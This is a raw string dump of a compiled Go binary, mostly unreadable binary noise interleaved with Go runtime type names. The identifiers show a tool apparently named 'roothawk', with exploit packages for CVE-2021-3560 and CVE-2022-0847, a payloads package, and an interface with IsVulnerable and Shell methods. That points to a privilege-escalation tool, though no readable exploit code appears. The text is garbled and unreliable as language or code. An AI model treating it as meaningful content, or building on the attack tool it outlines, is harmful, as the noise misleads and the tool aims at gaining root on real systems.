exec.ctxResult*cve20213560.exploitinternal/reflectlite*reflect.StructFieldmustBeAssignableSlow*reflect.abiStepKind*reflect.methodValue*runtime.errorString*[]runtime.ptabEntry*[]*runtime.initTaskisWaitingForSuspendG*[]runtime.timerWhen*func(*runtime.coro)*runtime.gTraceState*[136]*runtime.mspanheapBitsSmallForAddr*[]runtime.gclinkptr*[32]*runtime._defer*[128]*runtime.sudog*[128]*runtime.mspan*runtime.pTraceStatespanObjsDenseScanned*[256]runtime.objptr*[]runtime.cleanupFngcFractionalMarkTime*runtime.mTraceState*[]*runtime.traceBufneedPerThreadSyscall*runtime.boundsError*runtime.metricValue*func(int, int) bool*func(string) func()printControllerReset*syscall.SysProcAttr*abi.BoundsErrorCode*abi.IntArgRegBitmapFindAllSubmatchIndexReplaceAllStringFunc*unix.RawSockaddrALGinternal/runtime/sysinternal/chacha8randparsePerlClassEscape*flate.InternalError*[]flate.literalNode*func(string, string)*[]*sync.poolChainElt*func(*os.file) error*exec.goroutineStatus*state.DistributionID*reflect.makeFuncCtxt*map.group[string]int*[]runtime.modulehash*runtime.ancestorInfoupdateMinWhenModified*runtime.gsignalStackallocCountBeforeCache*runtime.mWeakPointer*runtime.limiterEventspanObjsSparseScanned*runtime.cleanupBlockgcMarkWorkerStartTime*runtime.mLockProfile*[2]*runtime.traceBuf*runtime.pcvalueCache*runtime.heldLockInfo*runtime.metricReaderaccumulateGCPauseTime*runtime.piController*syscall.SysProcIDMap*func() go.shape.bool*[]regexp.onePassInstFindAllStringSubmatchgithub.com/creack/ptyroothawk/pkg/payloadsgolang.org/x/sys/unix*hex.InvalidByteErrorinternal/runtime/maps*maps.groupsReferenceCompareAndSwapRelease*atomic.UnsafePointer*flate.huffmanDecoder*flate.huffmanEncoderassignEncodingAndSize*context.backgroundCtx*map[string]*flag.Flag*func(complex128) bool*func() (uint8, error)*func([]uint8) []uint8*[0]*sync.poolChainElt*os.fileWithoutWriteTohandleTransientAcquirehandleTransientRelease*<-chan exec.ctxResult*chan<- exec.ctxResult*map.group[string]bool*map.group[uint64]bool*go.shape.interface {}*runtime.mSpanStateBoxisFreeOrNewlyAllocatedisUnusedUserArenaChunkspecialFindSplicePointwriteUserArenaHeapBits*runtime.stackfreelist*[256]runtime.guintptr*func(*runtime.pinner)*[20]runtime.cleanupFn*runtime.PanicNilError*runtime.statAggregate*[]*runtime.moduledata*poll.splicePipeFields*godebug.runtimeStderr*user.UnknownUserError*regexp.onePassMachine*func() reflect.ChanDir*func(int) reflect.Type*iter.Seq[reflect.Type]*func(fmt.State, int32)*os.fileWithoutReadFrominternal/runtime/atomic*[]runtime.heldLockInfo*exec.prefixSuffixSaver*atomic.Pointer[string]*sync.poolLocalInternal*map[reflect.visit]bool*[]runtime.ancestorInfo*runtime.lockRankStruct*runtime.synctestBubbletraceSchedResourceStatetypePointersOfUnchecked*[136]runtime.gclinkptr*runtime.listNodeManual*runtime.traceBufHeader*[][2]*runtime.traceBuf*runtime.heapStatsDelta*runtime.scavengerState*map[uint32][]*abi.Type*[]syscall.SysProcIDMap*func(int) (int32, int)FindReaderSubmatchIndexFindStringSubmatchIndexReplaceAllLiteralString*version.constraintFunc*map.group[string]uint8*map.group[uint8]stringinternal/runtime/cgroup*map[*syntax.Regexp]int*func() <-chan struct {}*map.group[string]string*func(reflect.Type) bool*func(*os.processHandle)*func() reflectlite.TypesetUserArenaChunkToFault*[]runtime.stackfreelist*runtime.persistentAlloc*[2][2]*runtime.traceBuf*runtime.pcvalueCacheEnt*user.UnknownUserIdError*flate.CorruptInputError*func() (time.Time, bool)*func(bool, error, error)*context.withoutCancelCtx*func(func()) func() bool*func(int) reflect.Method*iter.Seq[reflect.Method]*func() *abi.UncommonType*[10]runtime.heldLockInfo*[4]runtime.stackfreelist*runtime.gcMarkWorkerMode*runtime.traceBlockReason*[]*runtime.PanicNilError*runtime.gcStatsAggregate*map[int32]unsafe.Pointer*map[unsafe.Pointer]int32*maps.unhashableTypeErrorgetWithoutKeySmallFastStr*map[*syntax.Regexp]int64*func(reflect.Method) bool*func(string) (int, error)*func(func(uintptr)) error*atomic.Pointer[runtime.m]*chan exec.goroutineStatus*map[abi.TypeOff]*abi.Type*runtime.maybeTraceablePtr*[]runtime.pcvalueCacheEnt*[0]*runtime.PanicNilError*runtime.sysStatsAggregate*runtime.cpuStatsAggregate*runtime.sliceInterfacePtr*runtime.debugCallWrapArgsGidMappingsEnableSetgroups*func(int) regexp.lazyFlag*func(*regexp.Regexp) boolFindAllStringSubmatchIndex*func(*flate.decompressor)*atomic.Pointer[os.dirInfo]*func() (int32, int, error)*func([]uint8) (int, error)*runtime.maybeTraceableChan*runtime.gcBgMarkWorkerNode*runtime.sizeClassScanStats*runtime.cleanupBlockHeader*[8]runtime.pcvalueCacheEnt*runtime.errorAddressString*runtime.heapStatsAggregate*runtime.stringInterfacePtr*runtime.uint16InterfacePtr*runtime.uint32InterfacePtr*runtime.uint64InterfacePtr*runtime.TypeAssertionError*poll.DeadlineExceededError*map.group[string]*flag.Flag*func() (fs.FileInfo, error)*func(reflectlite.Type) bool*runtime.finalStatsAggregate*runtime.schedStatsAggregate*runtime.savedOpenDeferState*func(poll.splicePipeFields)*version.constraintOperation*map[string]syntax.charGroup*interface { Is(error) bool }*interface { Unwrap() error }*map.group[reflect.visit]bool*[]runtime.sizeClassScanStats*[][8]runtime.pcvalueCacheEnt*map.group[uint32][]*abi.Type*map.group[*syntax.Regexp]int*context.deadlineExceededError*func(int) reflect.StructField*iter.Seq[reflect.StructField]*func() iter.Seq[reflect.Type]*map[interface {}]interface {}*[2][8]runtime.pcvalueCacheEnt*runtime.synctestDeadlockError*map[string]runtime.metricData*func(*regexp.Regexp, int) int*map[context.canceler]struct {}*func(reflect.StructField) bool*func(io.Reader) (int64, error)*func(io.Writer) (int64, error)*func(func(uintptr) bool) error*atomic.Pointer[runtime._defer]*cve20220847.cve20220847Exploit*interface { Unwrap() []error }*[68]runtime.sizeClassScanStats*runtime.metricFloat64Histogram*func(uintptr) (uintptr, int64)*map.group[int32]unsafe.Pointer*map.group[unsafe.Pointer]int32*map[string]*unicode.RangeTablegithub.com/hashicorp/go-version*func(io.Reader, []uint8) error*map.group[*syntax.Regexp]int64 *func(interface {}) interface {} *func([]int) reflect.StructField *func() iter.Seq[reflect.Method] *func() (syscall.RawConn, error) *struct { key string; elem int } *map.group[abi.TypeOff]*abi.Type *runtime.traceSchedResourceState *map[runtime._typePair]struct {}!*func(*flag.Flag, *flag.Flag) int!*struct { in string; out string }!*struct { key string; elem bool }!*struct { key uint64; elem bool }!roothawk/pkg/exploits/cve20213560!roothawk/pkg/exploits/cve20220847!*runtime.gcBgMarkWorkerNodePadded"*atomic.Pointer[sync.poolChainElt]"*struct { F uintptr; X0 *os.File }"*[]struct { key string; elem int }"*struct { F uintptr; X0 chan int }"*struct { key string; elem uint8 }"*struct { key uint8; elem string }"*map.group[string]syntax.charGroup#*struct { key string; elem string }#*[]struct { key string; elem bool }#*[]struct { key uint64; elem bool }#*struct { F uintptr; X0 *exec.Cmd }#*[8]struct { key string; elem int }#*struct { F uintptr; X0 *abi.Type }#*func(interface {}, uintptr, int64)$*func(string) (reflect.Method, bool)$*[8]struct { key string; elem bool }$*[8]struct { key uint64; elem bool }$*map.group[interface {}]interface {}$*runtime.goroutineProfileStateHolder$*map.group[string]runtime.metricData$*[]struct { key string; elem uint8 }$*[]struct { key uint8; elem string }%*map.group[context.canceler]struct {}%*[]struct { key string; elem string }%*func() iter.Seq[reflect.StructField]%*struct { F uintptr; X0 *[5]uintptr }%*sync.node[interface {},interface {}]%*map.group[string]*unicode.RangeTable%*map[chan<- os.Signal]*signal.handler%*[8]struct { key string; elem uint8 }%*[8]struct { key uint8; elem string }&*[8]struct { key string; elem string }&*struct { F uintptr; R *flag.FlagSet }&*go.shape.interface { Error() string }&*func(*runtime.g, unsafe.Pointer) bool&*atomic.Pointer[internal/bisect.dedup]&*sync.entry[interface {},interface {}]&*func(interface {}, interface {}) bool&*map.group[runtime._typePair]struct {}'*struct { key string; elem *flag.Flag }'*atomic.Pointer[internal/godebug.value]'*func(*runtime.funcval, unsafe.Pointer)'*struct { F uintptr; R *atomic.Uint64 }'*map[string]version.constraintOperation(*[]*sync.node[interface {},interface {}](*struct { key reflect.visit; elem bool }(*struct { key uint32; elem []*abi.Type }(*struct { F uintptr; X0 chan struct {} }(*struct { key *syntax.Regexp; elem int })*[]struct { key string; elem *flag.Flag })*func(string) (reflect.StructField, bool))*sync.indirect[interface {},interface {}])*[]*sync.entry[interface {},interface {}])*[0]*sync.node[interface {},interface {}])*struct { F uintptr; R *godebug.Setting }**[8]struct { key string; elem *flag.Flag }**[0]*sync.entry[interface {},interface {}]**func(unsafe.Pointer, unsafe.Pointer) bool**[]struct { key reflect.visit; elem bool }**struct { key int32; elem unsafe.Pointer }**[]struct { key uint32; elem []*abi.Type }**struct { key unsafe.Pointer; elem int32 }**[]struct { key *syntax.Regexp; elem int }**struct { key *syntax.Regexp; elem int64 }+*struct { F uintptr; X0 *context.timerCtx }+*[8]struct { key reflect.visit; elem bool }+*struct { key abi.TypeOff; elem *abi.Type }+*[8]struct { key uint32; elem []*abi.Type }+*map.group[chan<- os.Signal]*signal.handler+*[8]struct { key *syntax.Regexp; elem int },*struct { F uintptr; X0 *context.cancelCtx },*sync.HashTrieMap[interface {},interface {}],*[]*sync.indirect[interface {},interface {}],*func(func(interface {}, interface {}) bool),*struct { len int; buf [128]*runtime.mspan },*[]struct { key int32; elem unsafe.Pointer },*[]struct { key unsafe.Pointer; elem int32 },*[]struct { key *syntax.Regexp; elem int64 }-*func() go.shape.interface { Error() string }-*[0]*sync.indirect[interface {},interface {}]-*[]struct { key abi.TypeOff; elem *abi.Type }-*[8]struct { key int32; elem unsafe.Pointer }-*[8]struct { key unsafe.Pointer; elem int32 }-*struct { F uintptr; R runtime.metricReader }-*func(fmtsort.KeyValue, fmtsort.KeyValue) int-*map.group[string]version.constraintOperation-*[8]struct { key *syntax.Regexp; elem int64 }-*struct { key string; elem syntax.charGroup }.*[8]struct { key abi.TypeOff; elem *abi.Type }.*func() (unsafe.Pointer, unix._Socklen, error)/*struct { key interface {}; elem interface {} }/*go.shape.struct { internal/sync.isEntry bool }/*struct { key string; elem runtime.metricData }/*[]struct { key string; elem syntax.charGroup }0*struct { key context.canceler; elem struct {} }0*struct { F uintptr; X0 *os.File; X1 *exec.Cmd }0*struct { F uintptr; X0 io.Writer; X1 *os.File }0*struct { key string; elem *unicode.RangeTable }0*[8]struct { key string; elem syntax.charGroup }1*[]struct { key interface {}; elem interface {} }1*struct { key runtime._typePair; elem struct {} }1*[]struct { key string; elem runtime.metricData }2*[]struct { key context.canceler; elem struct {} }2*[8]struct { key interface {}; elem interface {} }2*[]*go.shape.struct { internal/sync.isEntry bool }2*[8]struct { key string; elem runtime.metricData }2*[]struct { key string; elem *unicode.RangeTable }3*[8]struct { key context.canceler; elem struct {} }3*[0]*go.shape.struct { internal/sync.isEntry bool }3*func(*runtime.statAggregate, *runtime.metricValue)3*[]struct { key runtime._typePair; elem struct {} }3*[8]struct { key string; elem *unicode.RangeTable }4*func(func(string) bool) (reflect.StructField, bool)4*[8]struct { key runtime._typePair; elem struct {} }5*struct { F uintptr; X0 *context.timerCtx; X1 error }5*struct { F uintptr; X0 chan os.Signal; X1 *os.File }^ (0` "(0ey8 (0v W4(0#f~j(0: 6n(0P*4(01 S8(0rgdFe(072o(0I@q(0@Q Q(0Z63D(0I ;(03F(02[` 賂(0z Q(0^J _)!g(0z5(0aml(0g 0vv4(0/= (0['(0־<(0 \`x0(0w4d7f(0B\p(04 u(04י(0`S hu(0pS yF(0db(0D (04mL!(0S ǡ(0{K`@6fc(0bn(0v^/(0m*"(0s fHM(0z`(0wfZuY(0SgjNP(0H (0@|)(0 J (0P <(0Xcw(0'@=!(0`u(00++(0hx(09@gE(0#(0 ip(04$M.(05@r.(0=8(0>$]r(0H$)(0 @S(0\;p(0K ZH(0\2(0S$m(0g9f(0bWc(0g i/Q(0n (0{siI(0gS(0Tx~(0 { l* (0PT?8(0ρy 2(0T B&o1(0 LC(0Jh`iU(0T`tl0hTn(08{ A(0]e1(0seW0hcH(0` ս(0@" t;(04q(0^"*W(0fpTj(0ӷ(0s#mi(0L $wW0h`[{(0orȈR(0cD`(0o?K(0tgS(0M rr(0o&nԩ(0"@q(0x:(0e ((0oX*\I(0#t{s R(0|&% Ҡ(0Ƅu(0i`{(0XFx (0|@'cy(0U@T(0ܑ' :s(0 )tn(0Mt@v0(0.`(0E(08j u(0bt%$(01@ (0N(0kd(0\p@Y(0J)8#Q(0X`w A1(0p`*\M`(0wt+(0j+Vt(0F,(0F \(0z|yOf(0^k (0^.W! (0 _ M(0_O E(0`y@[r(0t ?ʶ (0nd }<(0N(0C`zDŽ(0d0(0F@K(0Nr;(0d%@(0W@1&[(0vyv<7(0W9q(0bG@0?(0pG=1 (0~G1vm(0)0`m(0j$r%(0O0Έ(0@@?M)(0e`j>(0"e O(0 uWa(0G/(0 XG^(0O`44(04u y (0;O5wC(0JO5P(0X`45|(0@ (0@6ZG(0G.?(0_@}Z1(0BkG(06(0Uk(0X d(0Xسt(0yYs(0O  (0X}`Ğ(0_~;0h(`~l0hY(0ANgP^D0(0 H\ۚ F"'B#IHl \qƣU ;(0U(0ՀV!a(0V(0';"5(04;`"Piz E(0*@8k(0lx<u-(0ݖbha@`/E(0hambJ y,9@'7((0!@ЉBCJ ![ ,\9aHf@Hz IC+ E 4Yu_D>m#(0b# J 1t% Ta`wJdl+p(0 @R](0$`~(0 ,-(0p] fmV(0V }(0I4M(0ߠmmF (0wnDd}fgm[ 6wMG 5e~ ? b#',Wl#z,@fpAB5km5+@ '-g]d! ?\Xn6J0fs iDrE`DP:w 肼zigFPw@W֞onUM ll!(0@_}|w]~%b:RbDh@jPw NsKx` #wDoEs`Mik3-Tizrx(0@U@:ՠxr:IOx ueKg~ <ߩ>RL<-= =+ lOә/uhҢVJ@/8d@Hdt+H$(0? yޚn(0v@^(0WgP(0(n]X1=+|p`p #ǻգ 6*struct { key chan<- os.Signal; elem *signal.handler }ŁĨ^ {[|3E+_5} k&*YO H jZ > R!LO){L0Y pY`,I<l p9 H%J U`qA :]BJW(0G1J](0\) Kjh5 wh=}r h>$@ҦlhH$H`Oȉh Fզ/0\xk0h@;ݜ} howȉh"j) 0ho@K20hMt><@ۂ hh13ˉ hN@? 0hkD h^fFNȉhN jȉhvyTG~''`ȉhW9TG@hbGTGe/hpG@TGD* hjTGZZȉhO@TGXqȉh@TG m.hBk@G>Uk|e hX@}(hȉhO`@,ONK hhP,Ok; h`I>*struct { F uintptr; X0 context.Context; X1 context.canceler }>*struct { F uintptr; X0 context.canceler; X1 context.Context }pL*0eS %"܃dy"I Uc"P@@i"B@g>*0"ZSXt)"v Z)!":0M"LAJE"2v`@m>"|Uܷ" Vn "HvM">V""UZL"of>X"B*"Z@`"Is"f@"Ur@,_fi"Ik"Q\"*eW)"r@"Va2$k"x*0@J :0*0~` *atomic.Pointer[internal/sync.node[interface {},interface {}]]#lF"`Y`6}"DDHα"S" S@Ӈq*0S\@r/*0yg@ m*0a,T"wJPZ"`fߖV*08@48*0Fi#"v`z9 ȉhW  T"|v"ֈ?*atomic.Pointer[internal/sync.entry[interface {},interface {}]]?*atomic.Pointer[go.shape.struct { internal/sync.isEntry bool }]@*[]atomic.Pointer[internal/sync.node[interface {},interface {}]]@*struct { f func(); once sync.Once; valid bool; p interface {} }A*[]atomic.Pointer[go.shape.struct { internal/sync.isEntry bool }]B*struct { F uintptr; X0 chan exec.goroutineStatus; X1 chan error }B*atomic.Pointer[internal/sync.indirect[interface {},interface {}]]B*[16]atomic.Pointer[internal/sync.node[interface {},interface {}]]C*[16]atomic.Pointer[go.shape.struct { internal/sync.isEntry bool }]oَA;/0.bSpBi. 8hZ^% PhB@<"@@d6=" Z Zl @^l"e  9"q@ N]Hn \QX @x"`@@L"ɌuQ"@x7|"l@@Y"@"`@Tn4"SA"@8C"~@-F+"+r@^"\f@ A!"l@@.,-- h;@  Ph';@@( Qh4;@ڮ h*Zy"~ `-"@r@T~"Z@U"Rz@@Z^L"3~Di `Qh2D8"arsY 8hK~ E`q{ 0h;@I h2`g"z@_ *", ;O#"`  N"jr@KP<"2  "M( 0ņF Ph<@ Qh,C@ * Qhх@' .3@ɀ` 8hfWge 8hm@$ @  Ph3@  RhT[+EhJ z ȉh+F*struct { F uintptr; X0 payloads.Payload; X1 *os.File; X2 chan error }~' PRh 4f 8h<z"g @̣" @Ly\"[`Fd RhG4`b 8hĵ]V 8h @/8`, 8hP9^ 8hx@P 8h>@𚥓8UiU "xm@$? PSh4@M *0m@8ft/' ULx 8x 0hC})N q1] 0Vh]h:]= h36@@B @Vhw@j@@r @Vh3 N@0 PSh` J Qx 0P 0Rh`M@l RXxPt Rh,x@j@((Ҥ QXo `VhюD4?Z pVh=M@^ 0Rhnxz ({ Vh@U@@~6M  RhjM@ U."@Q0rV VhMަ h{ u en Ph <Jt Vh@:u VhI< 1ri 8hڇ IP Rh*?@? Wh7?  @WhD?@Dys["s jj| Ph?@L&"4y@~ȭ@ORpH(ct'/x.P4@ 0Vh8҈qj@ҟ?@B؂ 0h/ Wh8 P8tfHݤ n @Xh@@_xL8 'd"P`"@xh h9|c; Q? lf @@8)-` 7 QhA@ 2XE @Yh_:2LE*0q @xE4RPۜ x@P paW0: ؤ 0RhH | YhG1< Yh\)D r~ `Qh:FQ^ME @   `>ra!E @ q < `n' 0hvb@b@ @ 7 "10hKc@  p5 nL 0hg# ȉh`Y`r,O@ 0> 5ȉhk:r,O@ 4vx0hsYE @  0sLm&zsYE @ sV 8h1T;C|"/@  G" 8"@@""@@Ot'}'Հ} f!"@@T'} 5" Y", Єo"@ <"  8",  i "@;="} Z Z@pm*"ƚ@9@K@pZd`"ٓ Z+Jc"y@5/"g"++mM"."eQ+"~ sg," Q*atomic.Pointer[internal/sync.entry[go.shape.interface {},go.shape.interface {}]]R*struct { f func() bool; once sync.Once; valid bool; p interface {}; result bool }T*struct { f func() error; once sync.Once; valid bool; p interface {}; result error }AN)0QKME @  }KM)0;M% )0!M% Q Q (7,)0IMrX0 0 (}J)0Q M!@X@ @ e7Z)0R`(mfj]#cR``(mf3)0r 0E @ )0r@L!E @ q q OXQ)0gW )0vbL@ @ @ 7X)0v4 汝7)0KM@  ~4)0\4 Ds)0m^0)0bڬ)0's@E @ 0U 0U aS)0,n`;)0@n]Hd0h]C2_)0|n N.)0 ^! 0=0== 0hlo0;U)0gi`%@T@T[Qht@ ĩE)0iN@ ry)03 0)0'߳0!)0X` )0 Dĥ)0:)0 Ps.)0yu%j[M)05|{ ?g()0i ^E @ b)0&d^cfUh)0^`u++)0pW`/o)0W@OdE @  e eXJ)0[|a W u u`>)00OTG@  ?\hhy TG͓)0sPE @ @N @N )0`PE @ M M ty)09 D(o)04eP g4)0{k}|'\()0} Q&HE @ pp)0I} 82}M<_o)0uQE @ W)0qe[E @ 0e0eS )0kQ,O@ >>:)0 P;,OE @  l)0`Y@R,O@ 0>0>Www)0k:R,O@ Sm5)0} Yss#)0SYE @   t4)0&z`SYE @ p3:)0H=Y t" D @{" D  QS(Ћu@.r(vX Ĕ(pvX Z*struct { F uintptr; X0 *struct { f func(); once sync.Once; valid bool; p interface {} } }\*struct { F uintptr; X0 *pipe.LockablePipe; X1 *bool; X2 []uint8; X3 chan error; X4 string }㤯8hv`wc8h(D xǤP8hR `x:R8h \x:ñm$wE @ 08D{w0 0hc`qS7LMWI)06))0hNhh\)0E @ ""DJ|)0xE @ PPD8)0 `")0i)8L|Y(8j@ t)0E @ 55Dsr)0c|` $ qVF)0j xE @  X  &)0^ |@   ?])0j- ?zk)0\d . ?[$Y(N;'C)0A(X}}|'\)0`P2}E @ D_^d)0R~ s?)06D   " sb( Ye[e[ Wx)0Oe[@!@e@e0@!ffr'h(`@YY ]7(ݖ  E @ /)0ʕ J #d?(e@  T} V(:GG @ Qp8hI_MrX0 @; B8hQ`M!@X@ 08 -.(3@MM @ U(`S A W?{2(G4040 [/(IPYY W" #,pi"ɍS ]"}@Љޝm"tl@@Љ "a@@Љ/"a@@@v|") Z Z p po"g@@H( =1"\@ЉL7"> i"s v"`*S o}"@+ Љ ]W"ɂ@  RCq" @u+V"v@@Љk|" @"q@6Љ c"k@Љ(0"k@PA-"à @"߆ @ "@<Љ0Zn)0E @  )  }N)0rG @ N)0`lG @ љ)06fG   @ P P  )0If@G @ qh&)03ZG @ #)0`G @ )0PG @ ?c(P@GG(1 @ V)02a ME @ # #  X $ $ )0pT@jENI@H(7h5)0wP" ""m0hJh(V  hwl( (Zi)05%] ] EEBC]ȉh# (#`9hlof(')0}{vv )vv6ah}{ ( `ɨW 0hAi  wJ0hc@((0hM(|Vǿ`h (=i)0b^f:: `<`< ()0ډ{ E @ D80h8t@7 mM)0 8L|X?Qh(&) M)0NxJ E @ @ @  X  lI(nd(`(( (Bm)0t0NE @   )  f^-)0|NE @ P P )  0 /0CT|>=p@0 5 PVhr`8{ 4p @;8'|. 4p@0 @@Z|`*S 'hp@0 @ bx|@+]qxp@0 A $Z|@ kp@0 `Av|3C`}p|@@MB@@0 `D =8p| ˱@0  E 77xp|@6<x@0 Fשׂp|@x@0 Gaip|@U@0 `GvBp| TQ@0 @ItPΛp| ُ@0 I0 'Nxp|@<xo/(ג@0 J*')0f@\ @ @  w  ) @ @ X)0`` И И  w 0 0 )  S])0DZ@G 1      @   3)0A; **N;xv/0!uMM(@_% eh:)0K:wP`Y " lR')06D@:wP " }[n)0\Es@'@'-$$- %% ""Cr)00oo PP  "T)0U! H_P鹜s 0h{$  #)05@Ui ~ ~M tF}}/0b^ ( `f .i)0c(UiM tF?Sc)08t 7 k  0hKjYC ?? Ɨ)0`WE @   @.pp)  />()0u 40 @ @ [  @+:0(O8X E0E \`\])0O`9 X" I)0H`,O``1@    jC)0XP Y@ Z/ )0eY@ @@Z/ R)0} Y}0m0m1hh1)nn)0:wP" r)0:wP" @})0-`:wP" )0 :wP" /g)0k:wP" o@)0@:wP" )0@`:wP" c)0 :wP" *interface { IsVulnerable(context.Context, *state.State, logger.Logger) bool; Shell(context.Context, *state.State, logger.Logger) error }Jo8h E @  r )   yTx Q  @@ (<+ Z@ @@@ h`x2a  M@@w y%0hhfM M@7 xX^x_<  J@@w /2[J J@ > ۸ ȑzJ` J@" {h^J@ 5 Wka@r C@@"? Orh=@wQ7#O/=@ _DU@gE @#c)[ @ E b`@ ZX` C[@@Sg`/ ܁ h6D::@xk"(h!K:@:@x.0hR::@x)}=!!@2V,@4ga @8h= !@X W u;WP mc`@5 LNm@@V>^ 'sd@8@M*hS@@8xM0hb@@$oFdo0hn@q@ M0hg@ @V q,nd@5$@įG`@QWB0hPT@`Ty|NpT @+ /}h  @@~ hTn@5` Y YhƐH@E`55(f|h]  @/h @G NW%hU`!@`M@@+  ^`f"@7 &8Rh"@ofh^@#@@b~%$Phs@#@e"k1ehL$@\UI6({` %@o`2&`;  Vhgi g%@` eho@`&@M7 5 )Vh|'@@= wh|'@&NsDQhܑ@@(@ pp>  Ćhc@(@D@`> 0 d/x)@04pJ *@T'^'&p*@>>.)rwt`+@  ?0(ބEPPj,Jd@) nN hF`KJ   y/  @  @ A @ 0 9Q"(F@J @-J @ E@   @   w5hj-@lh\d .@A|h^@ /@@@@ XpW`l/@@@ͫ8ht`0NE @  @ )  (G2Qhd@N1N@d`z^znW@a1a@@ Ώ0h~G@2TG@@88G62TG@*>0\ݳp`40340@A#@0P IuL 4@s`u( GwX4@SR[!HJO`5@}80 m,x;O6@0`PUvX6@8N(HLa@7@U @}4&0h=OJ7J@V  I}p2}82}@ :@tTh!KQ  9 @~ {ÉȉhO 9 @~  x@hR `: @~ S/0h1\` ; @~ k/0w}@R ; @~  EJp Pr@<,O@ Q@ M,l,O<,O@x 5y$hqY=Y@ @ :hH@tY >Y@@@(H>@1@  @ $ W0( cPP`? @) *struct { F uintptr; X0 *struct { f func() go.shape.bool; once sync.Once; valid bool; p interface {}; result go.shape.bool }; X1 *[4]uintptr }*struct { f func() go.shape.interface { Error() string }; once sync.Once; valid bool; p interface {}; result go.shape.interface { Error() string } }[ϠC)0e w @ ) `ʾ)0J w @ ) Tи)0}   w   @  )  .)0` w @ ) |T)0Q`MI@' V V @ V V @ W W A V V X_)0@U@UBt R R uTTmJ@_@_<PYPY)0C(m  D E @ PPDΛC)0!K8 SwP " ')00K S2wP " 2S)0w}@; wPYlY" *"b7)0q`y_u`` ǟ)0H`,Or_J0GPP@ ppU p/ؐ~pTU`Y (( c.K0UU Y((v?0@UUY Ww)0n  wPl" *B)0N wPl" *JE WUY@k - 0XUuY$兟XUY r֡pYU YuMZU$YZUY P[U@Yu;?[UY@Il8hf \ @ s  s w  0s ) @ @s VnQȉhs`k@  6 b M> 6 `fw @n@e]@> ',7@;xi@k^@`@@GE @ 3h&dk _@u@c0pp4e`_X)> P!@Xz)0CM  E@    @     8ITxȑDaM@aMX  $ v[bX#@&"00qhdm EbX; ( hk4cXw#@,`F@8ca_0w@gXD` ( s8S@hX`@4)0K `8`8z$@ p$- yPhgiX 5$((@c{s@jX5@$E@> qNdT)0g p$'- d j)0s\@ 6 b M> 6 fw ( {lX@@ 5\)0w /L(xE$ A]R](=hhn`nnX+ @j/@j1S 0hhnmpn65 x@m>Z4)0n@"(n %ELPh0o @pXo @Y@ aPhfqXe"`MM$(hcqXG7#M961VhPUJrX5r:8o@sX;@%)0{jxXY@z@w  00;N@yJ Xe@@w  ^Phz|zX?Z PhCNzNXk8h-NLN{NXV @   (iNT @| Xr( (b|N } X#&" (v)0d ~aMgg@ @ FG ) @ ii(hh((gd`}a~aXq@/ c 8(J| NV@TGX*@0&(@2P@?6p =TGX*`0@8eԙpQheX=@9@@ ː0Vh"eX=98 )x u@@X@00XhP_4040XaDr5`o)0p 340   [p p @+ ` ` ` ` (24u@Xy ( Psu O@X) @aH8{{Y=X@MX  P(q )0_ 0\\  SSWW-KXh@@X}@a0k~CLqhk@hkX*(Q([h0KQ  X~  hS  X~  @@u58hHe[e[XM@@@rOe[@e[X ,Q/0PY ,O,O(@   Z  /  (fD/H,OXy ( \|)0Y,O)00a 0,0,@@ `/`/ )22@ ) 1 1v' :@:Xx-'::X%xф'-`::X*xjH~'::X+xr[̿'k:@:X-x$'@@::X/xsA'@::X 0xK'::X0x 'p]:@:X1x}'::X2x O2xlJJ@@ E @  P X   ((+u(-pUYua (([" c0 / cd @ ZI')0Ll  y y w 0| 0| @ p p ) y y  TЅ Ѕ Z@} @} (:[)0e`_ p p P P w ` ` @  ) p p  T Z}(gv vhB.1 2.@ @  @ 8@ :# A`Z)0!K:SXwP " $)0R:SXwP"  )0Sc:SXwP@" k&C)0c0 Aq P.%9U,)0Cd@@.  ppa)0S` SwP@A@" lHcO)01\: SwP A " lH@8wHА1Gp@v @)   !@0@@7T@I@Mpe@@@ w 0 V'P;^MMpQr 88pLXQ@CMMp@q@@, C,(Jn`Rrr@ @"@P "+9$hB\@!@!p'  @  @ JU( 0hK bvRm=3  ;](zp c m(uI*Qh8{p >>`% nPhs@@p/.R<:.>5!hcpH b8hp"/`5 =5Phep ux&a PhƄ@p& _Wpډ@@{ E @ 8D <PhXip'@B/@?@M/@ Z=Ph`ipc@4p@pU@d@ Phbt@p@h@@( ђu(p[8>@'>J'>M@)\i^lp @x 8B8(MAt@p@@ ((WJda@ap  X cK9cC JВGTGpO ?UD|@m Y)0TGpo  =A>; &0 8ؐ{9@ 4040p (0hG@|p@@G@J@ 2[A^Hp@? 0@@(u4ȑHS,Ope@R(\!ؔ} sYYpC`J@R) 0a8mqY@Yp  @(000JUJJp #| Z  Z 00N@$JJp #|@ @ *struct { F uintptr; X0 *struct { f func() go.shape.interface { Error() string }; once sync.Once; valid bool; p interface {}; result go.shape.interface { Error() string } }; X1 *[4]uintptr }1_(J`A`(  w @ ) [}8h}B@( !@\   w  @  Ps )  p |8h`B ( !@\ w @ ) D)0K@s33 "+22 # 44I= 3 308)0K bvRm=)0\   p p DO5@ @ ,  =K$3- 0h]&h 7h%o]07`w,)0>`@e[z$S: zH@!A@!< r'A@! SS88ۿБ^P  / cd @ Z (88Y2Б!@0 / cd @ Z($/)0UJ@bR #J\0(W]  / cd @ Z@(0(s"" / cd @ Z(qg`@ )  И p  w 0 Й )  whn o@o "(n %0w ht / ' 8@  ' 8( /@ 00ᱠe@`X | Z Z w px!/@r!@ p%(8 k[8C `M Mq@@,<@ O8@0** pp<#MMV ] @ (^0H(R JJ d+8S@IU)0v@w ++Bt@*@* u`+`+366@R>>m&&f ((<::[==:hK ++ "=;4H ^4x\`g [5g50n 8u @ b L``M @+ +(kQh@i@Xx@o@{@.i@  JVo q90U  H^PhXFfFi x`9Q^&l)0t  / ' 8@  ' 8( /@ +$)00`TG o@  c9 4 @ o9@ hjTGTG@@@C PHoÜ9o@@:(@ @0@@PHje`b(@@l(@ Q8v(@@X  0"@( [is?A!??F& G 0@$0d(hqRyyr H +& 5$(((5J>` e[e[~ @b@0@Gi` @}YY@1)K0x F!0™J`J @Q7 0e0 Aq P.%97!h)0R: SXwP`}A" lHt.)0qY R1@ :@ f)@ ]1H*h1PePes1:Em)0`I |D1@ [NK @ $``u\ WXP' H!@_MM@q@8NH!@P;@Q2@R`X:(CD(m<@=`#@ 0#0J@@J@P((_S4`Fw  ,_4  }]0h0S! ] RD `D 4V=  =@ p  "@ 0Z?PhbH ( NHhgj@    p$'- d 0 ?PȒTy};`M  (@lhBx J #7 &@(Y@) 0.88 yS{sd& @ 7(.@0n&@1H0[M L@px r<(.0&8M@@Fe 5RN( 8 P8h 